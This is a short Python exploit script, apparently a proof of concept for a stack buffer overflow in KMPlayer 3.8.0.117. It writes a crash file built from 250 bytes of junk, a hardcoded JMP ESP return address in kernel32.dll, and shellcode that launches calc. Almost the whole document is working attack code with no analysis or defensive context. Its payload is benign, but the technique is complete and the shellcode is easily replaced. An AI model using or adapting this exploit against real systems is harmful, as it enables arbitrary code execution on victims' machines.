KMPlayer-3.8.0.117

import struct
def little_endian(address):
  return struct.pack("<L",address)
   
 
junk = "\x41" * 250
eip = little_endian(0x7C86467B)   #7C86467B   FFE4  JMP ESP  kernel32.dll        
 
shellcode=(
        "\x31\xC9"                #// xor ecx,ecx        
        "\x51"                    #// push ecx        
        "\x68\x63\x61\x6C\x63"    #// push 0x636c6163        
        "\x54"                    #// push dword ptr esp        
        "\xB8\xC7\x93\xC2\x77"    #// mov eax,0x77c293c7        
        "\xFF\xD0"                #// call eax  
        )
 
exploit = junk + eip + shellcode
try:
    rst= open("crash.txt",'w')
    rst.write(exploit)
    rst.close()
except:
    print "Error"